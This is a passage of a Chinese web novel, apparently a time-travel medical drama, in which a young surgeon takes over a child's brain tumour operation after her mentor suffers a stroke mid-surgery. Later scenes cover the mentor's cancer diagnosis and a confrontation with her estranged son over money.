唐水花答应了,而且看起来不像是会给孩子乱吃东西的,南栀这才离开。 她走时,看到陶靖在护士站,护士长正和他说话。 南栀路过听了几句,是护士长在和陶靖解释费用问题。 陶靖一直听着,只说了两句话,“这些够吗?还要多少?” 去医院看病,普通人的痛 。 目前南栀需要关注的患者不多,除了陶明志,只有三个孩子。 近几天舒映阶都没有门诊,南栀也不需要去门诊。 舒映阶办事周密,下午又把南栀叫到办公室,讨论陶明志的手术。 舒映阶办公桌上放着陶明志的片子,她缓缓说道:“有句话说得很对,敢给陶明志开刀的人不多。” 先不提八十年代末期各种设备都没有,就算是二十年后、四十年后,这种程度的肿瘤都是复杂手术,不是每个医生都能开刀。 现在缺少的仪器更多,更需要主刀医生经验丰富。 南栀问:“您在担心吗?” 舒映阶说:“是在担心,但是不只是担心陶明志。” 舒映阶看着南栀,欲言又止,“来看看陶明志的片子吧,病史漫长,室管膜瘤或者顶叶胶质瘤的可能性更大。行左侧三角区入路肿瘤切除术,经三角区皮质造瘘……” 这些都是开会时说过的内容,南栀记得很清楚。 舒映阶虽然严厉,但不会啰唆,她的状态让南栀不安。 舒映阶又重复了一遍,她说道:“陶明志的手术结束,你准备准备,回临川市吧。手术方面还要多向小陆学习,小陆是正经医学院毕业的,但是路子比我还野,我们一起在战地医院时,她能扛着人家一条腿跑八公里。” 南栀脑海中浮现陆嘉述扛着人腿的画面。 “现在不流行野路子,做手术各种要求都很多,这是好事,说明医疗行业越来越规范,我们正在和国际水平接轨。不过作为医生,比病人和家属更了解病情,要有自己的判断,该大胆时不能含糊。不过任何时候,都要优先保护自己,只要活着,就能多看几个病人。” 老一辈无私奉献的精神永远都能在陆嘉述身上体现出来。 对于那个纯粹的年代,南栀有点儿向往。 陶明志的病情,手术指征明确,周三下午进行手术。 南栀和另外两名主治医生做助手,术前充分备血。 奚阳华被批准进手术室学习全过程。 奚阳华:难度这么高的时候舒教授都让他进去看!可见对他的重视程度! 沈玫好心提醒,“南栀已经可以主刀。” 奚阳华:“……” 他又不蠢,才不和南栀比。 奚阳华说:“舒教授怎么不叫你进去看,还是太重视我。” 沈玫说:“叫了啊,我不想去。” 奚阳华:“?!” 沈玫:“太血腥。” 舒映阶主刀,核对患者信息后,手术开始。 手术室的氛围一开始就不活跃,每个人都神色凝重。 不少家属看到医生笑着聊天都会不满,但换一个角度,他们还是应该希望看到医生轻松的样子。 尤其是急诊的,服务越周到越可怕。 舒映阶经三角区皮质造瘘进入左侧脑室。 所有人看到肿瘤,都倒吸一口冷气。 瘤体巨大,而且与脑室壁粘连紧密,几乎没有边界,分离困难。 瘤体本身是紫红色的,血供丰富,内有血窦和纤维索条。 二助三助都有点儿傻眼,“出血量会很高吧?” “没八九个小时,手术可能做不完。” 舒映阶十分冷静,“这种情况,尽量沿着瘤体边缘游离,动作要轻,要有耐心。” 说话间,被轻轻触碰的瘤体开始出血,出血量很大。 舒映阶一边止血一边游离。 二助担忧道:“这种情况下可以全切吗?” 舒映阶说:“全切肿瘤,预后更好。” “但是肿瘤基地太宽,已经融入脑室壁,想要离断基底……” 所有人都是不安的。 舒映阶手中动作停下,看向南栀。 南栀的表情和平时一样,没有变化。 看她的表现,似乎比舒映阶更加冷静。 南栀察觉到舒映阶的目光,抬头看去,舒映阶愣了一下,接着笑笑,继续手术。 时间一分一秒过去。 “陶明志才20公斤,预估血容量在1600ml左右,如果短时失血超过300ml,就有生命危险。” 瘤体巨大,血供丰厚,手术开始到现在一直在出血。 虽然有给陶明志输血,但如果瞬间失血量太大,就会引发急性失血性休克。 奚阳华感慨道:“手术难度太高,不愧是舒教授。” 换作奚阳华,他可能真的不敢接下这台手术。 直径最长超过十厘米的肿瘤,像个大丸子一样塞在人脑里,只是想想就很难。 大概是舒映阶表现得太过冷静,手术室内的氛围稍微轻松些,大家终于敢开口说话。 “是啊,还好我们有舒教授,算他运气好。” “如果先去小医院,还得再来儿研所,折腾。他们家一直不重视陶明志头疼呕吐的情况,倒是能直接送到儿研所。” “所以说是运气好嘛。” 就在这时,舒映阶的动作忽然停住。 南栀看向舒映阶。 奚阳华问:“怎么啦,进行得很顺利啊。” “不对,收缩压降低了。” 南栀看向监护仪,收缩压已经降到50mmHg。 这是快速失血造成的。 手术暂停,纠正血压。 南栀目光移向舒映阶。 舒映阶刚才忽然停下动作,这不太寻常,不像是因为血压低才停下。 舒映阶戴着口罩,看不到她的表情,但能看见她紧皱的眉宇。 南栀问:“舒教授,你不舒服吗?” 大家这才关注起舒映阶来。 舒映阶示意南栀来接手,又让护士备好椅子。 南栀帮助舒映阶维持现状,所有人都看着她。 舒映阶缓缓道:“我不太舒服,避免手术过程出现意外,不能继续手术。” 监护仪器滴滴响个不停。 “您怎么了?” 舒映阶道:“右手无力,而且……” 南栀发现舒映阶说话有点儿困难,“脑梗?” 奚阳华立刻上前查看舒映阶的情况。 舒映阶虽然反应不大,但能看到有中风的迹象。 奚阳华急道:“快带舒教授出去,及时溶栓,还有恢复的可能。” 儿研所虽然没有老年患者,但是国内数一数二的医院,医院内备有早期溶栓药物尿激酶。 奚阳华急着把舒教授带出去,其他人却没动。 “你们还不来帮忙?脑梗后留下后遗症怎么办?你们……” 所有人都看着奚阳华。 台上的几个助手和护士都在忙着顾陶明志。 麻醉医生无措地看着奚阳华,这不在他的专业领域。 舒映阶说话越来越含糊,“别着急,保持冷静。” 奚阳华的头嗡嗡作响,一盆冷水浇过来,浇得他头昏脑涨。 “对哦,陶明志的手术只有舒教授能做……怎么办?!” 陶明志的出血量大,用过药物后血压已经升高,手术不可能一直暂停。 奚阳华下意识看向南栀。 二助和三助也看过来。 南栀依旧冷静,她说道:“先带舒教授去治疗,再去看看哪位副主任有时间,请过来。” 巡回护士跑了出去。 舒映阶用力挥动还能动的手,“我得留下,留下看着。” 奚阳华急得都快在原地跳起来了,“你可别胡闹了,生病就得治病,命重要。” 舒映阶艰难道:“这台手术没我不行。” 南栀拧眉看着舒映阶。 做医生,在保持理智的情况下,要大胆。 巡回护士又冲了回来,她焦急道:“不行啊,刚刚有辆接送学生的面包车侧翻,好几个学生受伤,都送到咱们这了,在儿研所的副主任都在台上,没法过来。” 南栀问:“备班的呢?” “联系了,赶过来要四十分钟。” “休假的医生有没有在附近的?” 巡回护士再次摇头,“我们没那么多假期可休。” 南栀看向舒映阶。 舒映阶张着嘴,似乎想说什么,但已经说不出话来了。 南栀快速道:“继续催他们,谁都行,来了以后把手艺好的副主任顶下来。薅一个主治医生过来,给舒教授治疗。” 奚阳华惊讶道:“在手术室?不送出去?” 南栀说:“舒教授要留下。” 奚阳华:“?,你别太过分,病人的命是命,舒教授的命就不是命?都这样了,还要她继续手术?边治疗边手术??” 南栀的脑子好像被踢过。 南栀依旧平静,“我来做手术,如果有问题,舒教授可以伸手指提示。” 这话一出,手术室内再次安静。 陶明志的手术,可是副主任们都拒绝的手术,手术难度极大。在他们心里,南栀虽是手术方面的天才,但她可从来没做过类似手术。 奚阳华磕磕巴巴道:“手术很难,刚刚血压已经降到50,还会有其他问题,你来?” 二助也说:“还是再等等副主任吧,说不定有人能赶回来。” 南栀问:“等到什么时候?还有其他办法吗?” 她环视所有人,“各位放心,我不是喜欢逞强的人,我的提议是基于我认为自己可以完成这台手术,而不是这台手术必须有人来做。” 奚阳华:“……” 她永远对自己信心十足。 不是,凭啥啊?? 南栀低头开始继续手术。 其他人一时愣住,短暂的安静后,开始各自做手头的事情。 舒映阶神色凝重地看了南栀半晌,眼底终于浮现笑意。 陶明志的血压再一次降低。 主治医生进来查看舒映阶的情况,看到是南栀在主刀,看得他心惊肉跳。 奚阳华的情况差不多,他的心脏一度快要蹦出来,有点儿想呼叫心外科医生。 手术再一次暂停,南栀局部压迫止血。 奚阳华紧张道:“出血量还是太大了吧?要不再等等副主任?” 南栀好像没听出弦外之音,她看着瘤体分析道:“瘤体血供来源于左侧大脑后动脉的供血动脉,你看,这里异常粗大。” 奚阳华:“……” 这是重点吗? 都知道手术很难啊!! 南栀:“瘤体没法一次摘除,只能分块切除了,三角区这边容易一些,先摘这里的。” 奚阳华:“……” 他和二助、三助已经麻木了,有一种世界末日的狂欢感。 陶明志的血 压恢复正常,手术继续。 南栀继续游离瘤体。 一个小时后,两名副主任赶过来。 他们站在手术台旁看了一会儿,讨论道:“就算我们上,也不会比南栀做得更好。” “现在换人没有意义,南栀经验不足,但是判断很准确。” “游离效果不错的。” 副主任问奚阳华,“血压下降几次了?” 奚阳华扯了个笑,“三次。” 副主任看着南栀满意地点头,“真不错。” 奚阳华不解地看着他。 对奚阳华来说,南栀这种行为和自杀无异。 副主任问:“你紧张吗?” “我当然紧张,”奚阳华捂着胸口,“我快心梗了。” 副主任笑眯眯地看着南栀,“你看她紧张吗?” 南栀一直在气定神闲地做手术,包括陶明志血压下降时。 “瘤体过大,出血量也大,无法迅速摘除瘤体,患者随时有生命危险,这对主刀医生来说是多大的考研?这种手术,需要主刀医生有很强的心理承受能力和临场应变。当然,也需要手术经验,不过我们南栀有天赋,能弥补一点儿。” 另一人道:“说实话,如果今天换作是我临时上台,绝对没有南栀的状态。” “要不怎么说舒教授眼光好,看中的人就是不一样。” “别光夸南栀,其他人也不错,都在配合南栀,说明他们对南栀是信任的,手术团队互相信任非常重要。” 奚阳华愣愣地看着台上的几人。 好像从某一刻开始,二助和三助不再紧张,他们自然地配合着南栀。 没人抱怨、没人害怕,所有人都在用心做手术。 只有他的小心脏承受着巨大的压力。 奚阳华道:“南栀真就这么厉害?” “你别说,她就是厉害,这就是有天赋的人,和普通人之间的差距。” “别聊了,把舒教授推出去吧,你们虐待老人。” 副主任看向舒映阶,笑呵呵道:“还不放心?没必要了吧。” 舒映阶笑着点了点头。 副主任们推着舒映阶离开,手术继续。 整场手术持续了六个多小时,比预估时间要短。 南栀充分游离瘤体后,迅速离断瘤体腰峰部,切除大块肿瘤。 肿瘤主体移走,就能清晰地看到供血动脉,南栀用海绵压住出血部位,同时电凝切断供血动脉。 出血终于被控制。 一场手术结束,整个团队的人都累瘫了。 奚阳华率先鼓掌,“你的动作也太干脆了,漂亮!” 其他人手拍得更响,越拍越激动。 就算是舒教授来完成整台手术,大概也就是如此了,她年纪大了,功力稍有退化。 南栀现在开心不起来,她现在更担心舒映阶。 南栀甚至都没去见唐水花,下了手术台冲过澡后,直奔舒映阶的病房。 病房气氛异常沉重,几个副主任和主治医生都在里面。 沈玫眼睛通红,她旁边站着一个南栀不认识的人,年纪和舒映阶差不多,但没穿白大褂。 南栀问:“是脑梗吗?舒教授发现得很及时,应该没问题吧?” 沈玫低下头不说话。 奚阳华休息了一会儿才过来,他虽然全程只在看,但这心脏可一直没休息过。 “什么情况,这么多人,脑梗用得着这么多人吗?” 他附在南栀耳边小声道,“他们都过来拍马屁啊?” 沈玫:“……” 舒映阶躺在病床上。 她的短发半白半黑,薄薄一层,不算厚。 脸上的粉饼已经被擦去,露出原本苍白的模样,不涂口红时,唇色掺着大面积的白,刹那间苍老十多岁。 她保持着笑容,说话还不算清楚,动作也不利索。 南栀依稀辨别出她发出的音节是——“南栀,坐。” 南栀的眼睛瞬间酸了。 脑梗对于外科医生来说是致命的,恢复不好,从此与手术台无缘。 恢复得好……怎么才叫恢复好?南栀不知道。 舒映阶热爱这份职业,但她以后很可能没法再拿手术刀。 南栀很伤感,但病房的氛围太过诡异,每个人都异常安静,好像不仅仅是因为脑梗。 她看向几个副主任,还有沈玫。 沈玫泪水滑落,起身快步走出去。 奚阳华咋咋呼呼道:“主任,怎么都不说话,我都不敢说话了,我……” 副主任无语道:“我看没耽误你说话。” 南栀走到舒映阶旁边,看到那位与她年纪相仿的老人。 几个副主任都是站着的,似乎很尊敬她,与她保持一定距离,都是谦卑的样子。 王敏朝南栀点点头,“你就是南栀?总算见到活的了。” 南栀试探性地问好。 王敏笑道:“总听小陆和小舒提起你,说你学得很快,很厉害。” 舒映阶在病床上挣扎着抗议——她不是小舒! 但她不否认陆嘉述是小陆! “您……” 副主任道:“南栀,这是王敏教授,是肿瘤方面的专家。” 南栀没能理解。 副主任艰难道:“陆教授她……确诊胰腺癌了。” 如果不是今天突发脑梗,他们还不知道。 南栀心中巍峨的高山轰然倒塌。 这一当头棒喝好像屏蔽外界所有声音,南栀看着病床上的舒映阶,努力理解这句话。 胰腺癌?舒教授? 王敏说:“已经有两个月了,不用太担心,在维持。” 没人接话。 王敏笑道:“我们的年纪,早就活过平均寿命,就算明天都没了,也都赚了,不要因为我们的离开难过,我们只是换个地方聚在一起。” 年纪大了,活一天算一天,每一天都是赚的。 舒映阶需要休息,科室的医生们被赶走,王敏一人留下来照顾舒映阶。 早就过了下班的时间, 所有人都没有,大家回到神外的办公室。 奚阳华精神恍惚,“舒教授得癌症了?我怎么什么都不知道?” 何止是奚阳华,南栀最近日日与她在一起工作,都没发现。 沈玫哽咽道:“我说她最近为何突然开始涂口红,她找我借口红时,我都没想到这一点,原来是因为……” 几个副主任神色忧虑,“真没想到舒教授会得癌。” “是啊,她救了那么多人,最后也逃不了得癌的命运。” “看她工作的劲头,我总觉得她还能再奋斗个十几年。” “唉,你也不想想舒教授年纪多大了。舒教授一病,我这心里就像没主心骨了,真难受,咱们科室该散了,全国也就咱们在搞什么小儿神外。” “……” 办公室内死气沉沉。 南栀一直没说话。 她找到舒映阶给她准备的论文,扫了一遍,几乎没看明白论文在讲什么。 “你还有心情看论文?”奚阳华抱怨道,“舒教授平时对你最好,你不难受?” 他抽走南栀手里的论文,南栀的动作没有改变。 沈玫拍了奚阳华一下。 奚阳华只好说道:“我是想说,我们不能为舒教授做点儿什么吗?我们可都是医生,还都是……” 在全国范围内,都是相当不错的医生,即便沈玫和奚阳华只是刚出来实习的。 但事实就是如此残酷,人类还没能打败癌症。 他们能救别人,但救不了舒教授。 南栀慢慢回过神,她都不太记得自己是怎么走回办公室的。 南栀道:“先说说舒教授的病吧。” 所有人都看过来。 “刚刚王教授说,舒教授已经确诊两个多月,是中晚期。” 舒映阶确诊后,因为手中的工作太多,一直没能停下来休息。 后来南栀来儿研所,她就更忙了。 南栀只说了两句话,鼻子越来越酸。 “舒教授年纪大了,好处是癌症进展会比年轻人更慢,能坚持更久。坏处是她可能还有其他基础病,身体各方面机能也大不如前呢……舒教授脑梗,正是停下来休息的好机会,如果舒教授愿意,可以去王教授那边,也可以留在儿研所,儿研所的医疗设备成人也能用,专门给儿童准备的设备很少。” 几个副主任点头赞同。 “我们要做最坏的打算,如果是胰腺癌晚期,不知道能坚持几个月,我们应该尽量让舒教授走得舒服些。” 沈玫拧起眉,不忍心听。 南栀问:“舒教授平时喜欢做什么,有没有关系好的朋友,对了,还有她的家人。” 几个副主任回忆道:“我还真没什么印象,舒教授一直住在宿舍,除了开病历交流会,还有去其他城市开刀,就没离开过儿研所。她在首都应该没有其他房子。” 奚阳华震惊道:“我去过舒教授的宿舍,里面……很乱,几乎没有个人物品,这是舒教授全部东西?” 国内小儿外科的开创者,堂堂教授,活了一辈子,只留下一屋子的实验用品,什么都没留下。 南栀宁愿舒教授和陆教授一样,生活得舒适些,她心里才好过。 能过好日子的,就该是她们这些人。 几人齐齐叹气。 “舒教授手里还有很多病人,分一分吧,谁不忙就多分几个。” “舒教授的病人可太多了,还有很多奔着她的名声来的,她最近挑的都是手术难度大的患者,我怕……” 副主任们一起看向南栀。 南栀道:“如果有需要,我可以帮忙。” “可你不是准备回临川了吗?” “这种时候我也走不了,如果是我能做的手术,我可以主刀。” 副主任说:“你肯定能做,我们都相信你,你如果在,舒教授也会更放心。” 奚阳华忽然开口问道:“我记得舒教授有家人,她现在是最脆弱的时候,我们是不是该通知她的家里人,让他们过来陪陪她?” 老人嘛,都喜欢儿孙绕膝。 “这真是难住我们几个了,我们从来都没见过舒教授的家人。” “她的儿子呢?亲生孩子也不来看看她?” 副主任苦笑道:“我们也很纳闷,但舒教授的确一直都是一个人,和她有接触的,也就那几个教授,再就是我们,没别人了。” 奚阳华感慨道:“这是真的把自己奉献给了医疗事业。” 南栀越听心里越堵。 陆嘉述和王敏起码还有自己的家人,家人们还会陪伴她们、看望她们,只有舒映阶,逢年过节都留在医院,唯一的家就是狭窄的宿舍,里面甚至没有多少属于她个人的物品。 日复一日,年复一年。 沈玫调整好情绪走进来,“我们就真的什么都做不了吗?” 南栀想到一个人。 舒映阶一直惦记着的,但分别之后就再也没见过的小姐文丽。 “舒教授还有这段历史?每次打仗,她都报名去战地医院这事我倒是知道,没想到她还做过旧社会的丫鬟。” “现在怕是找不到人了,舒教授的年纪已经很大了,小姐只会比她更大,平均寿命没这么高。” 如果文丽还活着,怎么也得八十六七岁。 就算还在,请一个八十六七岁的老人过来也不现实。 南栀说:“写封信、通个电话也好,我们找找试试吧。” 沈玫问:“怎么找?” 如果放在后世,一个泰斗级人物想找旧友,不算什么难事。 但现在网络不发达,派出所、公安局都没联网,想找到一个世纪初出生的人,实在太难。 “舒教授生病的事已经瞒不住了,也没必要再隐瞒,她得休息。我先去找报社,再找找广播站,把信息说得详细些,说不定能有回信。” 奚阳华说:“我还有个问题。” “你说。” 奚阳华:“如果文丽真怨恨舒教授怎么办?” 南栀:“……” “真有可能,你想啊,舒教授是丫鬟,把主人丢了,跑去学医,现在地位还很高,但是小姐的父母却不在了,小姐和丫鬟的地位颠倒,小姐心里这关能过得去?我都担心她就算人来了,也是来看热闹的。” 南栀头一次感觉到什么叫不耐烦。 “奚阳华同学,舒教授和文小姐曾经在战场上见过,她们都是战地护士,文小姐当初能去做战地护士,我相信她是个心胸宽广、目光长远的人,有误会可以解开,而且我们也可以先去见她,先和她谈。” 奚阳华瘪嘴。 换作是他,他就心里不舒服。 南栀还小,她不懂,哼。 科室十几个人坐在一起商量了一晚上,除了让舒教授见见曾经的老朋友外,他们居然想不到舒教授其他愿望。 就算去问舒教授本人,她大概也只会说希望国家繁荣昌盛、国泰民安。 往后两天,南栀一直在忙着处理舒教授的工作,还抽空去报社讲了舒映阶和文丽之间的故事。 和南栀想的一样,记者对故事很感兴趣,愿意登报,还愿意联系各地报社的朋友,帮忙寻找。 除了报社,南栀还去了派出所,可惜不联网的派出所只能靠电话联系其他基层找人,效率很差。 南栀和几个副主任连续做了两三天的手术,舒教授事先排好的手术终于做得差不多了。 但除了手术,舒映阶还有其他研究也得收尾。 这些工作都交给南栀,南栀每天忙得脚不沾地。 晚上九点钟,南栀才抽出时间去看望舒映阶。 舒映阶留在儿研所,她不想走。 王敏教授每天来看望舒映阶,给她斟酌用药。 舒映阶不想进ICU,她选择保守治疗。 南栀到时,王敏还没走。 舒映阶的脑梗症状缓解不少,说话已经很清晰了。 “我的基础病有不少,胰腺癌这件事,不用太在意,能活这么多年,我知足了。” 舒映阶拉着南栀的手说道,“我和小陆最担心的,其实是我们走后,儿科该怎么办?去年我还去过发达国家,差距仍然很大,我们该如何追上去?看到你,我放心多了, 后继有人,我们只希望你能一直保持初心。” 王敏笑道:“你就别和孩子说这些了,南栀啊,你别听她乱说话,她是活在乱世,脑袋转不过弯来。” 舒映阶忍俊不禁,“的确是乱世。” 不知为何,活了这么多年,舒映阶印象最深的仍然是二十多岁年轻时。 她的国家处于水深火热之中,秃鹫雄鹰虎视眈眈,民众生活在家乡的土地上,却要被迫向外来人卑躬屈膝,她不甘心。 战场上,她见到敌方先进的武器,也看到他们的战士连枪都凑不齐。 她见过被残害的妇女儿童,看到一个个拖着残缺的身体也要与对方同归于尽的战士。 实在难以忘记。 舒映阶说:“年轻人好,年轻人幸福,活在稳定的国家,最幸福。我啊,就是太杞人忧天,我总怕有一天又会变成曾经的样子。医生太重要了,受了伤,医生是否在旁边,结果差距很大,如果医生在,他可能还是个完整的人,医生不在,他就很可能变成残疾人,我总是做噩梦,梦到我救不了他们,梦到医生护士都被残害……唉,实在是不舒服。” “你啊,就是运气不好,早出生几十年,就别给年轻人添堵了。” 南栀认真地记住舒映阶的每一句话,然后说道:“我会一直做医生的,不会改变。” 舒映阶方才说了太多话,现在没什么力气,她虚弱道:“培养下一代也很重要……” 王敏笑着打掉她的手,“人家南栀才多大?就让她培养下一代?好了,每个人命运不同,国运也不同,就别操心那么多,安心养病吧。让你去我们医院,你非要留在儿研所,多不方便?” 南栀不认为舒映阶是在啰唆,她牢牢握住舒映阶的手,认真说道:“我们国家的人民,自古以来都是勤劳、有智慧的,我敢肯定,二十年后,三十年后,我们的医疗水平不会比外面差,我们的经济发展速度是全球最快的,我们的国力足以捍卫这片土地。” 王敏愣了一下,看向舒映阶。 舒映阶先是迷茫,接着露出释然的笑。 虽然不知原因,但南栀好像没有骗她,明明南栀也不该知道几十年后的事情。 南栀陪舒映阶聊了十几分钟,科室值班的医生陆陆续续都过来逛了一圈。 张嘉几人是最后到的。 舒映阶生病的消息刚传出去时,儿研所的领导们来了一波又一波,当时张嘉没敢过来。 他刚和舒映阶起冲突,舒映阶就病了,这事他都没地方说理。 舒映阶生病,奚阳华和沈玫也在帮忙,两人都还没回家。 见张嘉带人过来,两个人立刻冲了过来,就差直接堵着门不让他们进。 张嘉:“……” 他都成反面角色了? 张嘉苦恼道:“我只是来看看舒教授。” “白天不来晚上来?”奚阳华说,“不安好心。” 张嘉:“……这位同学,你将来如果留在儿研所,我是你的领导。” 奚阳华道:“领导也不能欺负病人,舒教授病得这么重,你还要来气她?!” 张嘉浑身是嘴都解释不清楚,“我怎么会气舒教授,我们只是想来看望她。” 南栀走出来。 张嘉道:“小南啊,你快和这两位同学解释解释,你看儿研所的领导都在,这不太好。” 南栀说:“郭迁的错,你想停我的手术,舒教授不同意,那天你们闹得很不愉快,之后舒教授就在台上脑梗了。” 张嘉:“……” 越说越洗不清。 舒映阶住的是单人病房,奈何这几天来来往往的医生太多太显眼,大家都知道是儿研所的老教授病了,格外关注她的病房。 就算是晚上,听到声音出来看情况的人也很多。 张嘉尴尬道:“小南啊,你得把话说清楚,舒教授的病和我无关。” 南栀:“我没说和你有关系啊。” “那你……” 南栀:“我就是说一遍事情经过,你和舒教授有矛盾,几天后舒教授脑梗……” “好了别说了!” 其他领导们还在保持客气的笑容,现在和舒映阶的学生们有矛盾可不是好事。 领导说:“你们真的误会了,我们是来给舒教授排忧解难,听说舒教授还有很多工作没做完,实验室那边的研究得继续。” 奚阳华警惕道:“实验室的工作,南栀会按照舒教授的要求完成,你还想抢成果?” 领导:“……” “咳,不要对我们有敌意,我们之间有误会。” 沈玫红着眼睛说道:“郭迁不惜用病人的性命诬陷南栀,你们却要南栀付出代价,我们之间没有误会,只有事实。” 郭迁闹出的动静可不小,报纸、收音机、电视上轮番播报。 领导们反应激烈,也是因为此事对儿研所来说是负面新闻,传得太广。 沈玫一提到这事,家属们就都知道了。 “原来就是想搞垮这位小医生啊,居然拿病人的命来赌,没有医德,不配当人。” “这都是医院高层的勾心斗角,你没听他们说吗,领导还打算解决掉被诬陷的小医生。” “唉,没想到儿研所也会这样……” 张嘉拉着领导们落荒而逃。 再待下去,他们得被唾沫星子淹死。 领导们惋惜道:“陆教授手里应该有不少好东西,唉,可惜了。” 张嘉:“……” 不是,真要当反派啊! 几位领导的做法让人寒心。 科室的医生们商量过后决定,“封锁”舒教授的病房,对外称舒教授需要休息不宜探视,不见任何领导。 反正这些领导也没几个好东西。 天塌了有副主任们扛着,南栀几人就负责大胆地拦人。 来看望舒映阶的人很多,在南栀看来,没几个真心实意的,基本有利益关系。 这一天可把他们累坏了。 三人从食堂回来,沈玫说道:“我以前其实不太想做外科医生,也不想留在儿研所。这两天看到主任们为了舒教授不惜顶撞领导,我有点儿像留下来了。” 奚阳华奇怪道:“不留在儿研所还能去哪,你想去综合医院?” “也不是,我原本想找个社区诊所……” “医科大毕业去社区诊所?!”奚阳华觉得沈玫疯了。 沈玫轻声道:“我想,女孩子还是要找一个清闲的工作,才方便照顾家里吧?” 奚阳华:“靠,我被女孩子欺负了两个月了。” 他怎么没看出来女孩子有多弱?? 尤其是儿研所,这就是舒教授的天下,女人弱吗?? 南栀很好奇,“谁会欺负你?” 奚阳华面无表情地看着南栀。 南栀说:“告诉我,我帮你报仇!” 奚阳华:“呵呵。” 沈玫说:“这是我以前的想法,我现在有点儿不确定了。看到舒教授和南栀一直坚持在手术台上,我觉得我好像也可以。” 奚阳华:“女生体力差一点儿,复杂的手术要坚持七八个小时真不容易,外科医生还是男人多。” 南栀:“你怎么还没主刀?” 奚阳华:“……” 南栀:“是不喜欢吗?” 奚阳华:她三十七度的体温怎会说出如此冰冷的话? 南栀挽起沈玫的手臂鼓励道:“我觉得这和性别没关系,只是看你喜欢什么,你想做外科医生,那就在这方面多下功夫。你不喜欢做外科医生也没什么的,能做喜欢的事多好啊。” “是啊,”沈玫惆怅道,“我现在也不知道我到底喜欢做什么,不过……我好像不太想太早回归家庭了。” 三人说说笑笑地往舒映阶的病房走。 奚阳华负责“说”,南栀和沈玫负责“笑话”他。 三人还没走到病房,就见经常照顾舒映阶的小护士着急忙慌地跑过来,“你们可算来了,舒教授病房来了个奇怪的人,非要见舒教授,舒教授答应了,现在里面吵起来了!” 南栀脸色瞬间惨白,最先跑过去。 病房里已经打起来了。 一个头发花白的老头站在病床旁,先是把床头柜上的东西都扫到地上,接着就去摔暖壶。 暖壶里都是滚烫的热水,随着一声巨响,热水四溅,老头惨叫两声。 两个护士站在病房门口想去阻拦,也被热水溅到。 南栀踩着热水冲进去。 奚阳华也往里冲,他刚好踩在一块暖壶碎片上,差点儿摔倒。 于是奚阳华顺势倒向老头,把他牢牢抱住。 南栀吼道:“你干什么?!保安呢?!” 沈玫第一次见南栀发脾气。 老头的态度很嚣张,“她是我妈!我来看我妈,关你什么事?!赶紧的,人都快没了,还死守着钱!把钱都拿出来!” 第84章 第84章找她啦 丁茂才穿着打扮都很一般,不太注重外貌。 秋衣的袖口露在外面,边缘都已磨损,日子过得很拮据。 大家这才听明白,丁茂才就是舒映阶的儿子。 只是这个儿子的精神状况不好,看着像垂暮老人。 舒映阶道:“我和你没什么好说的,你揍吧。” “不和我说,你想和谁说?”丁茂才推开奚阳华,抽了一把椅子敞着腿坐 到病床旁,“老太太,你以前是怎么对我的,你都忘了?” 南栀说:“你们过去的恩怨我们管不着,舒教授是病人,需要休息,请你离开。” “有你个小丫头片子什么事?”丁茂才挥手便想把南栀拽走,却被南栀反推了一把。 别看她年纪小,为了能在手术台上站得更久,她可没少下功夫锻炼。 丁茂才脸色骤变,“你还想打我?大家来看看,医院不讲理,打人了!” 舒映阶挣扎着想坐起来,奈何她行动还不方便,这一用力,只是让自己的身体稍微倾斜。 她无法完全控制身体,连大声骂回去都做不到。 舒映阶一时悲愤,冲着丁茂才吼道:“我和你早就断绝关系!” “呵,大家都过来听听,当妈的抛弃儿子,多年来不闻不问,这就是你们爱戴的好教授!你这做妈的,什么时候在乎过我的感受?!” 沈玫低声询问:“到底是什么情况,舒教授把他抛弃了?” “不知道啊,”护士小声说,“我一直以为舒教授没有家人,原来还有儿子。” “这些年确实没见过舒教授的儿子,他们好像连接触都没有。” “无论如何,不管儿子是不是太……” 丁茂才声泪俱下地控诉,“我才十岁,你就跑了,走了就再也没回来,你关心过我吗?操心过我的学习、工作吗?别人都有妈妈照顾,为什么我没有?!” 沈玫纠结地看向舒映阶。 丁茂才说得好像也没错,没妈的孩子很可怜。 舒映阶脸色愈来愈白。 南栀挡在二人中间。 这一瞬间,奚阳华和沈玫嗅到了不一样的气息,好像病房内的氛围都改变了。 丁茂才试图躲开南栀。 南栀随着他的目光左右摇晃。 丁茂才:“……” 南栀好脾气地笑笑,然后好奇地问道:“你不能照顾自己吗?都这么大岁数了,还找妈?正常来说,现在是你该照顾你妈的年纪了。” 丁茂才:“……我十岁她就走了!” 南栀十分同情,“您才十岁,就是孤儿了?您能健康成长,一定不容易!” “等会儿,”丁茂才有点儿晕,“什么叫孤儿?你会不会说话?我爸现在都没死。” 南栀:“哦,那你怎么不找你爸照顾你?” 丁茂才:“?” “照顾孩子只有妈妈能做哦?” “……” “你……你这姑娘年纪不大,怎么不讲理?!” 沈玫也觉得有些牵强,父爱母爱不一样。 南栀努力回忆阮乔吵架时的样子,她们乔乔特别牛,甭管有没有道理,都能辩出三分。 南栀嚣张地叉腰,“我就不讲理,怎么样?再来打扰舒教授休息,我找保安轰你走哦。” 说完,南栀看向护士们。 大家蜂拥而上,直接把丁茂才挤出舒映阶的病房。 保安姗姗来迟,南栀说:“麻烦各位记住他的脸,他是来找舒教授麻烦的,下次不要让他进来,辛苦各位了。” 丁茂才连话都来不及说,就被保安赶了出去。 沈玫担心道:“这样对待病人,我们会挨骂吧?” 儿研所可不太向着医生。 南栀说:“他怎么会是病人。” “啊?” “他是医生家属啊,待遇和我们是一样的。” 沈玫恍然大悟。 待遇一样惨! 南栀回到病房,舒映阶的气还没顺。 她沉默地躺了一个多小时,才又把南栀叫过去。 沈玫和奚阳华今天值班,都没走。 “以后他再过来,你们别管了。” 南栀说:“我一定会拦着他。” 奚阳华道:“人家毕竟是舒教授的儿子。” 听起来还是因为舒教授沉迷工作,被忽视的儿子,好像也挺惨的。 南栀道:“他人品但凡好一些,都不会在病人面前撒泼打滚,哪里惨?” 南栀两手比画着,“再来我一定要他好看!” 可惜她的样子一点儿威慑力都没有。 奚阳华刚想嘲笑南栀,又想起她站在手术台上开刀时的模样…… 还是很有威慑力的。 舒映阶被南栀逗笑,她撑着身体坐起来,南栀连忙去帮她调整靠背。 “他是来要遗产的,他觉得我会留下很多钱。其实我确实没能好好照顾他,如果有钱,当然可以给他,不过我这些年吃住都在儿研所,几乎用不到钱,也没攒下多少钱。存款有一万多,我说都留给他,他不相信,怀疑我偷偷藏起来了。” 八十年代末期的万元户还是很值钱的,无论如何都不能说是贫穷,但舒映阶可不是一般人。 她的名声和地位,一辈子没乱花过钱,最后只留下一万块,实在不算多。 